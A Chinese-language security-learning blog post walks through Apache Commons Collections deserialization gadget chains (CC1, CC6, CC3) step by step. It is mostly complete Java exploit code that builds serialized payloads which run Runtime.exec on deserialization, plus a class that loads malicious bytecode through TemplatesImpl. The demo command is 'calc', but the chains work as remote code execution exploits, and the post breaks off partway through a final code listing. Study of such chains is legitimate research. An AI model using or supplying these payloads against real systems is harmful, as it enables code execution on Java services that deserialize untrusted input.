Java CC链全分析

CC链全称CommonsCollections(Java常用的一个库)Java CC链全分析

梦的开始CC1

环境部署

JDK版本:jdk8u65
Maven依赖:

<dependencies>         <!-- https://mvnrepository.com/artifact/junit/junit -->         <dependency>             <groupId>junit</groupId>             <artifactId>junit</artifactId>             <version>4.11</version>             <scope>test</scope>         </dependency>          <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->         <dependency>             <groupId>commons-collections</groupId>             <artifactId>commons-collections</artifactId>             <version>3.2.1</version>         </dependency> </dependencies> 

流程分析

入口:org.apache.commons.collections.Transformer,transform方法有21种实现
Java CC链全分析
入口类:org.apache.commons.collections.functors.InvokerTransformer,它的transform方法使用了反射来调用input的方法,input,iMethodName,iParamTypes,iArgs都是可控的
Java CC链全分析
首先先尝试直接利用invoketransformer来执行命令

package com.f12;  import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer;  public class CC1 {     public static void main(String[] args) {         new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());     } }  

成功执行命令
Java CC链全分析
现在的重点就是去找一个其它的类有transform方法,并且传入的Object是可控的,然后我们只要把这个Object设为InvokeTransformer即可,我们全局搜索transform方法,能够发现很多类都是有transform方法的,我们这里先研究的是CC1,所以我们直接看TransformerMapJava CC链全分析
TransformedMap中的checkSetValue方法中调用了transform,valueTransformer是构造的时候赋的值,再看构造函数
Java CC链全分析
构造函数是一个protected,所以不能让我们直接实例赋值,只能是类内部构造赋值,找哪里调用了构造函数Java CC链全分析
一个静态方法,这里我们就能控制参数了Java CC链全分析
现在调用transform方法的问题解决了,返回去看checkSetValue,可以看到value我们暂时不能控制,全局搜索checkSetValue,看谁调用了它,并且value值可受控制,在AbstractInputCheckedMapDecorator类中发现,凑巧的是,它刚好是TransformedMap的父类Java CC链全分析
Java CC链全分析
在这里假如对Java集合熟悉一点的人看到了setValue字样就应该想起来,我们在遍历集合的时候就用过setValuegetValue,所以我们只要对decorate这个map进行遍历setValue,由于TransformedMap继承了AbstractInputCheckedMapDecorator类,因此当调用setValue时会去父类寻找,写一个demo来测试一下:

package com.f12;  import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;  import java.util.HashMap; import java.util.Map;  public class CC1 {     public static void main(String[] args) {         Runtime r = Runtime.getRuntime();         InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});         HashMap<Object, Object> map = new HashMap<>();         map.put("1","2");         Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);         for(Map.Entry entry:decorate.entrySet()){             entry.setValue(r);         }     } } 

成了
Java CC链全分析
我们追踪一下setValue看是在哪调用的,在AnnotationInvocationHandler中找到,而且还是在重写的readObject中调用的setValue,这还省去了再去找readObject

  private void readObject(java.io.ObjectInputStream s)         throws java.io.IOException, ClassNotFoundException {         s.defaultReadObject();          // Check to make sure that types have not evolved incompatibly          AnnotationType annotationType = null;         try {             annotationType = AnnotationType.getInstance(type);         } catch(IllegalArgumentException e) {             // Class is no longer an annotation type; time to punch out             throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");         }          Map<String, Class<?>> memberTypes = annotationType.memberTypes();          // If there are annotation members without values, that         // situation is handled by the invoke method.         for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {             String name = memberValue.getKey();             Class<?> memberType = memberTypes.get(name);             if (memberType != null) {  // i.e. member still exists                 Object value = memberValue.getValue();                 if (!(memberType.isInstance(value) ||                       value instanceof ExceptionProxy)) {                     memberValue.setValue(                         new AnnotationTypeMismatchExceptionProxy(                             value.getClass() + "[" + value + "]").setMember(                                 annotationType.members().get(name)));                 }             }         }     } } 

我们分析下AnnotationInvocationHandler这个类,未用public声明,说明只能通过反射调用
Java CC链全分析
查看一下构造方法,传入一个Class和Map,其中Class继承了Annotation,也就是需要传入一个注解类进去,这里我们选择Target,之后说为什么
Java CC链全分析
构造exp:

package com.f12;  import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;  import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;  public class CC1 {     public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {         Runtime r = Runtime.getRuntime();         InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});         HashMap<Object, Object> map = new HashMap<>();         map.put("1","2");         Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer); //        for(Map.Entry entry:decorate.entrySet()){ //            entry.setValue(r); //        }         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");         Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);         constructor.setAccessible(true);         Object o = constructor.newInstance(Target.class, decorate);     } } 

现在有个难题是Runtime类是不能被序列化的,但是反射来的类是可以被序列化的,还好InvokeTransformer有一个绝佳的反射机制,构造一下:

Method RuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(RuntimeMethod); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); 

现在还有个小问题,其中我们的transformedmap是传入了一个invokertransformer,但是现在这个对象没有了,被拆成了多个,就是上述四段代码,得想个办法统合起来,这里就回到最初的Transformer接口里去寻找,找到ChainedTransformer,刚好这个方法是递归调用数组里的transform方法
Java CC链全分析
我们就可以这样构造:

Transformer[] transformers = new Transformer[]{     new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),     new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),     new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("1","2"); Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer); 

到这一步雏形以及可以构造出来了

package com.f12;  import com.sun.xml.internal.ws.encoding.MtomCodec; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;  import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class CC1 {     public static void serialize(Object obj) throws IOException {         FileOutputStream fos = new FileOutputStream("cc1.bin");         ObjectOutputStream oos = new ObjectOutputStream(fos);         oos.writeObject(obj);     }     public static void deserialize(String filename) throws IOException, ClassNotFoundException {         FileInputStream fis = new FileInputStream(filename);         ObjectInputStream ois = new ObjectInputStream(fis);         ois.readObject();     }      public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {         Transformer[] transformers = new Transformer[]{             new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),             new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),             new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})         };         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);         HashMap<Object, Object> map = new HashMap<>();         map.put("1","2");         Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");         Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);         constructor.setAccessible(true);         Object o = constructor.newInstance(Target.class, decorate);         serialize(o);         deserialize("cc1.bin");     } }  

但是这里反序列化并不能执行命令,why?原因在于AnnotationInvocationHandler里触发setValue是有条件的,我们调试追踪进去看看:
Java CC链全分析
要想触发setValue得先过两个if判断,先看第一个if判断,memberType不能为null,memberType其实就是我们之前传入的注解类Target的一个属性,这个属性哪里来的?就是我们最先传入的map map.put("1","2")
获取这个name:1,获取1这个属性,很明显我们的Target注解类是没有1这个属性的,我们看一下Target类
Java CC链全分析
Target是有value这个属性的,所以我们改一下map,map.put("value", 1),这样就过了第一个if,接着往下看第二个if,这里value只要有值就过了,成功到达setValue,但这里还有最后一个问题,如何让他调用Runtime.class?这里又得提到一个类,ConstantTransformer,这个类的特点就是我们传入啥,它直接就返回啥Java CC链全分析
这样就能构造最终的exp:

package com.f12;  import com.sun.xml.internal.ws.encoding.MtomCodec; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;  import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class CC1 {     public static void serialize(Object obj) throws IOException {         FileOutputStream fos = new FileOutputStream("cc1.bin");         ObjectOutputStream oos = new ObjectOutputStream(fos);         oos.writeObject(obj);     }     public static void deserialize(String filename) throws IOException, ClassNotFoundException {         FileInputStream fis = new FileInputStream(filename);         ObjectInputStream ois = new ObjectInputStream(fis);         ois.readObject();     }      public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {         Transformer[] transformers = new Transformer[]{             new ConstantTransformer(Runtime.class),             new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),             new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),             new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})         };         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);         HashMap<Object, Object> map = new HashMap<>();         map.put("value","1");         Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");         Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);         constructor.setAccessible(true);         Object o = constructor.newInstance(Target.class, decorate);         serialize(o);         deserialize("cc1.bin");     } }  

成功执行
Java CC链全分析
以上是其中一条CC1,还有另一条CC1,是从LazyMap入手,我们也来分析一下,在LazyMap的get方法里调用了transform
Java CC链全分析
看构造方法,factory需要我们控制,同样在类内部找哪里调用了这个构造方法
Java CC链全分析
很明显,跟之前基本相似,就是从checkValue换到了get
Java CC链全分析
那么get在哪调用的,还是在AnnotationInvocationHandler,它的invoke方法调用了get

 public Object invoke(Object proxy, Method method, Object[] args) {         String member = method.getName();         Class<?>[] paramTypes = method.getParameterTypes();          // Handle Object and Annotation methods         if (member.equals("equals") && paramTypes.length == 1 &&             paramTypes[0] == Object.class)             return equalsImpl(args[0]);         if (paramTypes.length != 0)             throw new AssertionError("Too many parameters for an annotation method");          switch(member) {         case "toString":             return toStringImpl();         case "hashCode":             return hashCodeImpl();         case "annotationType":             return type;         }          // Handle annotation member accessors         Object result = memberValues.get(member);          if (result == null)             throw new IncompleteAnnotationException(type, member);          if (result instanceof ExceptionProxy)             throw ((ExceptionProxy) result).generateException();          if (result.getClass().isArray() && Array.getLength(result) != 0)             result = cloneArray(result);          return result;     } 

这里是个动态代理,我们可以用AnnotationInvocationHandler来代理LazyMap,这样就会触发invoke方法,构造一下exp(基本大差不差):

package com.f12;  import com.sun.xml.internal.ws.encoding.MtomCodec; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;  import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; public class CC1_LazyMap {     public static void serialize(Object obj) throws IOException {         FileOutputStream fos = new FileOutputStream("cc1_lazymap.bin");         ObjectOutputStream oos = new ObjectOutputStream(fos);         oos.writeObject(obj);     }     public static void deserialize(String filename) throws IOException, ClassNotFoundException {         FileInputStream fis = new FileInputStream(filename);         ObjectInputStream ois = new ObjectInputStream(fis);         ois.readObject();     }      public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {         Transformer[] transformers = new Transformer[]{                 new ConstantTransformer(Runtime.class),                 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})         };         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);         HashMap<Object, Object> map = new HashMap<>();         Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");          Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);         constructor.setAccessible(true);         InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);         Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);         Object o = constructor.newInstance(Target.class, newMap);         serialize(o);         deserialize("cc1_lazymap.bin");     } } 

魂牵梦绕CC6

CC6不受jdk版本限制,算是一条最常用的CC链
这是Ysoserial上的CC6,可以看到后半部分没变,从LazyMap.get开始通过TiedMapEntry.getValue来调用了,我们追踪一下
Java CC链全分析
TiedMapEntry.getValue调用了map.get
Java CC链全分析
看构造函数,map,key我们都能控制
Java CC链全分析
找getValue方法在哪调用,TiedMapEntry自身的hashCode方法调用了,看到这个hashCode是不是很眼熟,没错,我们研究URLDNS的时候就是用到这里,那么显而易见,我们前面的就是HashMap了
Java CC链全分析
构造exp,注意这里跟URLDNS有相同的问题,hashMap.put的时候就触发了hash方法也同时调用了hashCode,所以直接就执行命令了,还是同样的手法将某些值改一下就行了

package com.f12;  import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;  import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;  public class CC6 {     public static void serialize(Object obj) throws IOException {         FileOutputStream fos = new FileOutputStream("cc6.bin");         ObjectOutputStream oos = new ObjectOutputStream(fos);         oos.writeObject(obj);     }     public static void deserialize(String filename) throws IOException, ClassNotFoundException {         FileInputStream fis = new FileInputStream(filename);         ObjectInputStream ois = new ObjectInputStream(fis);         ois.readObject();     }      public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {         Transformer[] transformers = new Transformer[]{             new ConstantTransformer(Runtime.class),             new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),             new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),             new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})         };         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);         Map<Object, Object> map = new HashMap<>();         Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));         TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);         HashMap<Object, Object> hashMap = new HashMap<>();         hashMap.put(tiedMapEntry, null);         Field factory = LazyMap.class.getDeclaredField("factory");         factory.setAccessible(true);         factory.set(lazymap, chainedTransformer);         serialize(hashMap);         deserialize("cc6.bin");     } } 

但是这里奇怪的是还是没法弹计算器,我们调试一下看看,发现是LazyMap.get这里的问题,这里有一个if判断,我们这个map没有给值,在hashMap.put触发后给put进去一个null的键,第二次触发的之前我们把这个键删掉就行了。
Java CC链全分析

package com.f12;  import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;  import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;  public class CC6 {     public static void serialize(Object obj) throws IOException {         FileOutputStream fos = new FileOutputStream("cc6.bin");         ObjectOutputStream oos = new ObjectOutputStream(fos);         oos.writeObject(obj);     }     public static void deserialize(String filename) throws IOException, ClassNotFoundException {         FileInputStream fis = new FileInputStream(filename);         ObjectInputStream ois = new ObjectInputStream(fis);         ois.readObject();     }      public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {         Transformer[] transformers = new Transformer[]{             new ConstantTransformer(Runtime.class),             new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),             new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),             new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})         };         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);         Map<Object, Object> map = new HashMap<>();         Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));         TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);         HashMap<Object, Object> hashMap = new HashMap<>();         hashMap.put(tiedMapEntry, null);         map.remove(null);         Field factory = LazyMap.class.getDeclaredField("factory");         factory.setAccessible(true);         factory.set(lazymap, chainedTransformer);         serialize(hashMap);         deserialize("cc6.bin");     } } 

ok,拿下CC6

有一说一CC3

CC3就跟前两条链不太一样了,CC1与CC6都是执行命令,而CC3是执行静态代码块,CC3采用的是动态加载类,也就是利用了defineClass,我们搜索哪些类有defineClass,找到这个TemplatesImpl,这玩意厉害的很,以后还有很多地方用到Java CC链全分析
继续跟进,在defineTransletClasses方法中调用了defineClass

private void defineTransletClasses()         throws TransformerConfigurationException {          if (_bytecodes == null) {             ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);             throw new TransformerConfigurationException(err.toString());         }          TransletClassLoader loader = (TransletClassLoader)             AccessController.doPrivileged(new PrivilegedAction() {                 public Object run() {                     return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());                 }             });          try {             final int classCount = _bytecodes.length;             _class = new Class[classCount];              if (classCount > 1) {                 _auxClasses = new HashMap<>();             }              for (int i = 0; i < classCount; i++) {                 _class[i] = loader.defineClass(_bytecodes[i]);                 final Class superClass = _class[i].getSuperclass();                  // Check if this is the main class                 if (superClass.getName().equals(ABSTRACT_TRANSLET)) {                     _transletIndex = i;                 }                 else {                     _auxClasses.put(_class[i].getName(), _class[i]);                 }             }              if (_transletIndex < 0) {                 ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);                 throw new TransformerConfigurationException(err.toString());             }         }         catch (ClassFormatError e) {             ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);             throw new TransformerConfigurationException(err.toString());         }         catch (LinkageError e) {             ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);             throw new TransformerConfigurationException(err.toString());         }     }  

这里有几个判断得注意,首先是_bytecodes不能为null,然后就是_tfactory不能为null,不过_tfactory在readObject方法里被赋值了,因此不用管,继续跟进看谁调用了defineTransletClasses,看getTransletInstance,得绕过第一个if判断,所以得反射赋值给__nameJava CC链全分析
继续跟进看谁调用了getTransletInstance,现在基本有一个构造思路了,new 一个TemplateIml对象,然后调用newTransformer方法,从而去defineClassJava CC链全分析
由于还没序列化,所以先手动给_tfactory赋值,不过运行后报了个空指针错误

package com.f12;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  import javax.xml.transform.Transformer; import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;  public class CC3 {     public static void serialize(Object obj) throws IOException {         FileOutputStream fos = new FileOutputStream("cc6.bin");         ObjectOutputStream oos = new ObjectOutputStream(fos);         oos.writeObject(obj);     }     public static void deserialize(String filename) throws IOException, ClassNotFoundException {         FileInputStream fis = new FileInputStream(filename);         ObjectInputStream ois = new ObjectInputStream(fis);         ois.readObject();     }      public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {         TemplatesImpl templates = new TemplatesImpl();         Field _name = TemplatesImpl.class.getDeclaredField("_name");         _name.setAccessible(true);         _name.set(templates, "1");         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");         _bytecodes.setAccessible(true);         byte[] bytes = Files.readAllBytes(Paths.get("D:\Java安全学习\CC1\target\classes\com\f12\Eval.class"));         byte[][] code = {bytes};         _bytecodes.set(templates, code);         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");         _tfactory.setAccessible(true);         _tfactory.set(templates, new TransformerFactoryImpl());         Transformer transformer = templates.newTransformer();     } } 
package com.f12;  import java.io.IOException;  public class Eval {     static {         try {             Runtime.getRuntime().exec("calc");         } catch (IOException e) {             throw new RuntimeException(e);         }     }      public static void main(String[] args) {      } } 

调试发现在这由于if判断没过,导致进去这个空指针错误,继续反射修改ABSTRACT_TRANSLET的值就ok,或则让恶意类Eval继承这个ABSTRACT_TRANSLET所指向的类
Java CC链全分析
成功弹出计算器

package com.f12;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  import javax.xml.transform.Transformer; import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;  public class CC3 {     public static void serialize(Object obj) throws IOException {         FileOutputStream fos = new FileOutputStream("cc6.bin");         ObjectOutputStream oos = new ObjectOutputStream(fos);         oos.writeObject(obj);     }     public static void deserialize(String filename) throws IOException, ClassNotFoundException {         FileInputStream fis = new FileInputStream(filename);         ObjectInputStream ois = new ObjectInputStream(fis);         ois.readObject();     }      public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {         TemplatesImpl templates = new TemplatesImpl();         Field _name = TemplatesImpl.class.getDeclaredField("_name");         _name.setAccessible(true);         _name.set(templates, "1");         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");         _bytecodes.setAccessible(true);         byte[] bytes = Files.readAllBytes(Paths.get("D:\Java安全学习\CC1\target\classes\com\f12\Eval.class"));         byte[][] code = {bytes};         _bytecodes.set(templates, code);         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");         _tfactory.setAccessible(true);         _tfactory.set(templates, new TransformerFactoryImpl());         Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");         ABSTRACT_TRANSLET.setAccessible(true);         ABSTRACT_TRANSLET.set(templates, "java.lang.Object");         Transformer transformer = templates.newTransformer();     } } 

最后的问题是如何去序列化,可以看到Transformer这个类,我们可以结合CC1或者CC6

package com.f12;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;  import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;  public class CC3 {     public static void serialize(Object obj) throws IOException {         FileOutputStream fos = new FileOutputStream("cc3.bin");         ObjectOutputStream oos = new ObjectOutputStream(fos);         oos.writeObject(obj);     }     public static void deserialize(String filename) throws IOException, ClassNotFoundException {         FileInputStream fis = new FileInputStream(filename);         ObjectInputStream ois = new ObjectInputStream(fis);         ois.readObject();     }      public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {         TemplatesImpl templates = new TemplatesImpl();         Field _name = TemplatesImpl.class.getDeclaredField("_name");         _name.setAccessible(true);         _name.set(templates, "1");         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");         _bytecodes.setAccessible(true);         byte[] bytes = Files.readAllBytes(Paths.get("D:\Java安全学习\CC1\target\classes\com\f12\Eval.class"));         byte[][] code = {bytes};         _bytecodes.set(templates, code);         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");         _tfactory.setAccessible(true);         _tfactory.set(templates, new TransformerFactoryImpl());         Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");         ABSTRACT_TRANSLET.setAccessible(true);         ABSTRACT_TRANSLET.set(templates, "java.lang.Object"); //        Transformer transformer = templates.newTransformer();         Transformer[] transformers = new Transformer[]{                 new ConstantTransformer(templates),                 new InvokerTransformer("newTransformer", null, null)         };         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);         HashMap<Object, Object> map = new HashMap<>();         Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");         Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);         constructor.setAccessible(true);         InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);         Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);         Object o = constructor.newInstance(Target.class, newMap);         serialize(o);         deserialize("cc3.bin");     } } 
package com.f12;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;  import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;  public class CC3 {     public static void serialize(Object obj) throws IOException {         FileOutputStream fos = new FileOutputStream("cc3.bin");         ObjectOutputStream oos = new ObjectOutputStream(fos);         oos.writeObject(obj);     }     public static void deserialize(String filename) throws IOException, ClassNotFoundException {         FileInputStream fis = new FileInputStream(filename);         ObjectInputStream ois = new ObjectInputStream(fis);         ois.readObject();     }      public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {         TemplatesImpl templates = new TemplatesImpl();         Field _name = TemplatesImpl.class.getDeclaredField("_name");         _name.setAccessible(true);         _name.set(templates, "1");         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");         _bytecodes.setAccessible(true);         byte[] bytes = Files.readAllBytes(Paths.get("D:\Java安全学习\CC1\target\classes\com\f12\Eval.class"));         byte[][] code = {bytes};         _bytecodes.set(templates, code);         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");         _tfactory.setAccessible(true);         _tfactory.set(templates, new TransformerFactoryImpl());         Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");         ABSTRACT_TRANSLET.setAccessible(true);         ABSTRACT_TRANSLET.set(templates, "java.lang.Object"); //        Transformer transformer = templates.newTransformer();         Transformer[] transformers = new Transformer[]{                 new ConstantTransformer(templates),                 new InvokerTransformer("newTransformer", null, null)         };         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);         Map<Object, Object> map = new HashMap<>();         Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));         TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);         HashMap<Object, Object> hashMap = new HashMap<>();         hashMap.put(tiedMapEntry, null);         map.remove(null);         Field factory = LazyMap.class.getDeclaredField("factory");         factory.setAccessible(true);         factory.set(lazymap, chainedTransformer);         serialize(hashMap);         deserialize("cc3.bin");     } }  

完美收官,分析一下yso的CC3,又有所不同,可以看到它在Transformer[]里调用的是InstantiateTransformer,还引入了TrAXFilter这个类,我们追踪一下
Java CC链全分析
首先TrAXFilter中会调用newTransformer
Java CC链全分析
再看InstantiateTransformer的transform方法,获取构造器,再实例化,刚好可以触发TrAXFilter
Java CC链全分析

package com.f12;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;  import javax.xml.transform.Templates; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;  public class CC3 {     public static void serialize(Object obj) throws IOException {         FileOutputStream fos = new FileOutputStream("cc3.bin");         ObjectOutputStream oos = new ObjectOutputStream(fos);         oos.writeObject(obj);     }     public static void deserialize(String filename) throws IOException, ClassNotFoundException {         FileInputStream fis = new FileInputStream(filename);         ObjectInputStream ois = new ObjectInputStream(fis);     